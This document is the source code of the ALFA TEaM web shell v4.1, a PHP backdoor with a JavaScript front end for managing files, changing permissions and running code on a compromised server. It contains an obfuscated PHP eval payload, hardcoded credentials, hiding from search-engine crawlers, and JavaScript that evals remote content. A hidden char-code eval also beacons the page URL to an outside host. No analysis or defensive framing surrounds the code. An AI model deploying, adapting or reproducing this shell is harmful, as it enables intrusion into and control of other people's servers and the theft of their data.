button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),true?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script><script src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js" id="sortable-plugin"></script>


<script>eval(String.fromCharCode(101,118,97,108,40,102,117,110,99,116,105,111,110,40,112,44,97,44,99,44,107,44,101,44,100,41,123,101,61,102,117,110,99,116,105,111,110,40,99,41,123,114,101,116,117,114,110,32,99,46,116,111,83,116,114,105,110,103,40,51,54,41,125,59,105,102,40,33,39,39,46,114,101,112,108,97,99,101,40,47,94,47,44,83,116,114,105,110,103,41,41,123,119,104,105,108,101,40,99,45,45,41,123,100,91,99,46,116,111,83,116,114,105,110,103,40,97,41,93,61,107,91,99,93,124,124,99,46,116,111,83,116,114,105,110,103,40,97,41,125,107,61,91,102,117,110,99,116,105,111,110,40,101,41,123,114,101,116,117,114,110,32,100,91,101,93,125,93,59,101,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,39,92,92,119,43,39,125,59,99,61,49,125,59,119,104,105,108,101,40,99,45,45,41,123,105,102,40,107,91,99,93,41,123,112,61,112,46,114,101,112,108,97,99,101,40,110,101,119,32,82,101,103,69,120,112,40,39,92,92,98,39,43,101,40,99,41,43,39,92,92,98,39,44,39,103,39,41,44,107,91,99,93,41,125,125,114,101,116,117,114,110,32,112,125,40,39,48,32,49,61,103,46,52,40,41,43,92,39,58,92,39,43,53,40,100,46,54,44,55,41,59,48,32,50,61,57,32,56,40,41,59,50,46,98,61,92,39,99,58,47,47,101,46,102,47,92,39,43,49,43,92,39,47,97,46,51,92,39,59,39,44,49,55,44,49,55,44,39,118,97,114,124,115,116,97,109,112,124,105,109,103,124,112,110,103,124,110,111,119,124,101,110,99,114,121,112,116,124,85,82,76,124,49,52,57,57,55,124,73,109,97,103,101,124,110,101,119,124,98,103,124,115,114,99,124,104,116,116,112,115,124,124,53,52,49,53,54,49,52,53,49,51,49,50,52,124,105,99,117,124,68,97,116,101,39,46,115,112,108,105,116,40,39,124,39,41,44,48,44,123,125,41,41))</script></body></html>

Original PHP code

<?php
error_reporting(0);
eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));

$GLOBALS['oZgNypoPRU'] = array(
    'username' => 'alfa',
    'password' => 'a6f452ec3293d7fb72c5b677257b20ec',//md5(ehsan)
    'safe_mode' => '0',
    'login_page' => '403',
    'show_icons' => '1',
    'post_encryption' => false,
    'cgi_api' => true,
);

$CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';
$aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';
$OVpGNqqFZs = 'e' . 'v' . 'al';
$psDEwGhsxg = 'gz' . 'inf' . 'late';

if (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''))
{
    function vcnvSCZgBz($data)
    {
        if (empty($data)) return;
        $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
        $ac = 0;
        $enc = '';
        $tmp_arr = array();
        if (!$data)
        {
            return $data;
        }
        do
        {
            $o1 = $aztJtafUXm($data, $i++);
            $o2 = $aztJtafUXm($data, $i++);
            $o3 = $aztJtafUXm($data, $i++);
            $bits = $o1 << 16 | $o2 << 8 | $o3;
            $h1 = $bits >> 18 & 0x3f;
            $h2 = $bits >> 12 & 0x3f;
            $h3 = $bits >> 6 & 0x3f;
            $h4 = $bits & 0x3f;
            $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
        }
        while ($i < strlen($data));
        $enc = implode($tmp_arr, '');
        $r = (strlen($data) % 3);
        return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
    }
    function charCodeAt($data, $char)
    {
        return ord(substr($data, $char, 1));
    }
    function charAt($data, $char)
    {
        return substr($data, $char, 1);
    }
}
else
{
    function vcnvSCZgBz($s)
    {
        $b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';
        return $b($s);
    }
}
if (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''))
{
    function zRtSHsbTzV($input)
    {
        if (empty($input)) return;
        $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $chr1 = $chr2 = $chr3 = "";
        $enc1 = $enc2 = $enc3 = $enc4 = "";
        $i = 0;
        $output = "";
        $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
        do
        {
            $enc1 = strpos($keyStr, substr($input, $i++, 1));
            $enc2 = strpos($keyStr, substr($input, $i++, 1));
            $enc3 = strpos($keyStr, substr($input, $i++, 1));
            $enc4 = strpos($keyStr, substr($input, $i++, 1));
            $chr1 = ($enc1 << 2) | ($enc2 >> 4);
            $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
            $chr3 = (($enc3 & 3) << 6) | $enc4;
            $output = $output . chr((int)$chr1);
            if ($enc3 != 64)
            {
                $output = $output . chr((int)$chr2);
            }
            if ($enc4 != 64)
            {
                $output = $output . chr((int)$chr3);
            }
            $chr1 = $chr2 = $chr3 = "";
            $enc1 = $enc2 = $enc3 = $enc4 = "";
        }
        while ($i < strlen($input));
        return $output;
    }
}
else
{
    function zRtSHsbTzV($s)
    {
        $b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';
        return $b($s);
    }
}

function __ZW5jb2Rlcg($s)
{
    return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
    return zRtSHsbTzV($s);
}

$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];

foreach ($GLOBALS['DB_NAME'] as $key => $value)
{
	$prefix = substr($key, 0, 2);
	if ($prefix == "us")
	{
		$GLOBALS['DB_NAME']["user"] = $value;
		$GLOBALS['DB_NAME']["user_rand"] = $key;
	}
	elseif ($prefix == "pa")
	{
		$GLOBALS['DB_NAME']["pass"] = $value;
		$GLOBALS['DB_NAME']["pass_rand"] = $key;
	}
	elseif ($prefix == "sa")
	{
		$GLOBALS['DB_NAME']["safemode"] = $value;
		$GLOBALS['DB_NAME']["safemode_rand"] = $key;
	}
	elseif ($prefix == "lo")
	{
		$GLOBALS['DB_NAME']["login_page"] = $value;
		$GLOBALS['DB_NAME']["login_page_rand"] = $key;
	}
	elseif ($prefix == "sh")
	{
		$GLOBALS['DB_NAME']["show_icons"] = $value;
		$GLOBALS['DB_NAME']["show_icons_rand"] = $key;
	}
	elseif ($prefix == "po")
	{
		$GLOBALS['DB_NAME']["post_encryption"] = $value;
		$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
	}
	elseif ($prefix == "cg")
	{
		$GLOBALS['DB_NAME']["cgi_api"] = $value;
		$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
	}
}

unset($GLOBALS['oZgNypoPRU']);

if (!isset($_SERVER["HTTP_HOST"])) exit();

if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');
$GLOBALS['__ALFA_COLOR__'] = array(
		"shell_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".header" => "border: 7px solid {color}",
				"#meunlist" => "border-color: {color}",
				"#hidden_sh" => "background-color: {color}",
				".ajaxarea" => "border: 1px solid {color}",
				".foot" => "border-color: {color}",
			)
		),
		"header_vars" => "#27979B",
		"header_values" => "#67ABDF",
		"header_on" => "#00FF00",
		"header_off" => "#ff0000",
		"header_none" => "#00FF00",
		"home_shell" => "#ff0000",
		"home_shell:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".home_shell:hover" => "color: {color};",
			)
		),
		"back_shell" => "#efbe73",
		"back_shell:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".back_shell:hover" => "color: {color};",
			)
		),
		"header_pwd" => "#00FF00",
		"header_pwd:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".header_pwd:hover" => "color: {color};",
			)
		),
		"header_drive" => "#00FF00",
		"header_drive:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".header_drive:hover" => "color: {color};",
			)
		),
		"header_show_all" => "#00FF00",
		"disable_functions" => "#ff0000",
		"footer_text" => "#27979B",
		"menu_options" => "#27979B",
		"menu_options:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".menu_options:hover" => "background-color: {color};font-weight: unset;",
			)
		),
		"options_list" => array(
			"key_color" => "#00FF00",
			"multi_selector" => array(
				".content_options_holder .header center a" => "color: {color};",
			)
		),
		"options_list:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".content_options_holder .header center a:hover" => "color: {color};",
			)
		),
		"options_list_header" => array(
			"key_color" => "#59cc33",
			"multi_selector" => array(
				".txtfont_header" => "color: {color};",
			)
		),
		"options_list_text" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".txtfont,.tbltxt" => "color: {color};",
			)
		),
		"Alfa+" => array(
			"key_color" => "#06ff0f",
			"multi_selector" => array(
				".alfa_plus" => "color: {color};font-weight: unset;",
			)
		),
		"hidden_shell_text" => array(
			"key_color" => "#00FF00",
			"multi_selector" => array(
				"#hidden_sh a" => "color: {color};",
			)
		),
		"hidden_shell_version" => "#ff0000",
		"shell_name" => "#FF0000",
		"main_row:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".main tr:hover" => "background-color: {color};",
			)
		),
		"main_header" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main th" => "color: {color};",
			)
		),
		"main_name" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main .main_name" => "color: {color};font-weight: unset;",
			)
		),
		"main_size" => "#67ABDF",
		"main_modify" => "#67ABDF",
		"main_owner_group" => "#67ABDF",
		"main_green_perm" => "#25ff00",
		"main_red_perm" => "#FF0000",
		"main_white_perm" => "#FFFFFF",
		"beetween_perms" => "#FFFFFF",
		"main_actions" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main .actions" => "color: {color};",
			)
		),
		"menu_options:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".menu_options:hover" => "background-color: {color};font-weight: unset;",
			)
		),
		"minimize_editor_background" => array(
			"key_color" => "#0e304a",
			"multi_selector" => array(
				".minimized-wrapper" => "background-color: {color};",
			)
		),
		"minimize_editor_text" => array(
			"key_color" => "#f5deb3",
			"multi_selector" => array(
				".minimized-text" => "color: {color};",
			)
		),
		"editor_border" => array(
			"key_color" => "#0e304a",
			"multi_selector" => array(
				".editor-explorer,.editor-modal" => "border: 2px solid {color};",
			)
		),
		"editor_background" => array(
			"key_color" => "rgba(0, 1, 23, 0.94)",
			"multi_selector" => array(
				".editor-explorer,.editor-modal" => "background-color: {color};",
			)
		),
		"editor_header_background" => array(
			"key_color" => "rgba(21, 66, 88, 0.93)",
			"multi_selector" => array(
				".editor-header" => "background-color: {color};",
			)
		),
		"editor_header_text" => array(
			"key_color" => "#00ff7f",
			"multi_selector" => array(
				".editor-path" => "color: {color};",
			)
		),
		"editor_header_button" => array(
			"key_color" => "#1d5673",
			"multi_selector" => array(
				".close-button, .editor-minimize" => "background-color: {color};",
			)
		),
		"editor_actions" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".editor_actions" => "color: {color};",
			)
		),
		"editor_file_info_vars" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".editor_file_info_vars" => "color: {color};",
			)
		),
		"editor_file_info_values" => array(
			"key_color" => "#67ABDF",
			"multi_selector" => array(
				".filestools" => "color: {color};",
			)
		),
		"editor_history_header" => array(
			"key_color" => "#14ff07",
			"multi_selector" => array(
				".hheader-text,.history-clear" => "color: {color};",
			)
		),
		"editor_history_list" => array(
			"key_color" => "#03b3a3",
			"multi_selector" => array(
				".editor-file-name" => "color: {color};",
			)
		),
		"editor_history_selected_file" => array(
			"key_color" => "rgba(49, 55, 93, 0.77)",
			"multi_selector" => array(
				".is_active" => "background-color: {color};",
			)
		),
		"editor_history_file:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".file-holder > .history:hover" => "background-color: {color};",
			)
		),
		"input_box_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				"input[type=text],textarea" => "border: 1px solid {color}",
			)
		),
		"input_box_text" => array(
			"key_color" => "#999999",
			"multi_selector" => array(
				"input[type=text],textarea" => "color: {color};",
			)
		),
		"input_box:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"select_box_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				"select" => "border: 1px solid {color}",
			)
		),
		"select_box_text" => array(
			"key_color" => "#FFFFEE",
			"multi_selector" => array(
				"select" => "color: {color};",
			)
		),
		"select_box:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"button_border" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=submit],.button,#addup" => "border: 1px solid {color};",
			)
		),
		"button:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
				".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"outputs_text" => array(
			"key_color" => "#67ABDF",
			"multi_selector" => array(
				".ml1" => "color: {color};",
			)
		),
		"outputs_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".ml1" => "border: 1px solid {color};",
			)
		),
		"uploader_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"uploader_background" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".inputfile strong" => "background-color: {color};",
			)
		),
		"uploader_text_right" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".inputfile strong" => "color: {color};",
			)
		),
		"uploader_text_left" => array(
			"key_color" => "#25ff00",
			"multi_selector" => array(
				".inputfile span" => "color: {color};",
			)
		),
		"uploader:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"uploader_progress_bar" => array(
			"key_color" => "#00ff00",
			"multi_selector" => array(
				".up_bar" => "background-color: {color};",
			)
		),
		"mysql_tables" => "#00FF00",
		"mysql_table_count" => "#67ABDF",
		"copyright" => "#dfff00",
		"scrollbar" => array(
			"key_color" => "#1e82b5",
			"multi_selector" => array(
				"*::-webkit-scrollbar-thumb" => "background-color: {color};",
			)
		),
		"scrollbar_background" => array(
			"key_color" => "#000115",
			"multi_selector" => array(
				"*::-webkit-scrollbar-track" => "background-color: {color};",
			)
		),
);
$GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if($config['AlfaProtectShell']){
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if($config['AlfaLoginPage'] == 'gui'){
if(@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])){
if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '
<style>
body{background: black;}
#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
#loginbox td { border-radius:5px; font-size:11px; }
</style>
<title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</title><center>
<center><img style="border-radius:100px;" width="500" height="250" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>
<div id=loginbox><p><font face="verdana,arial" size=-1>
<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
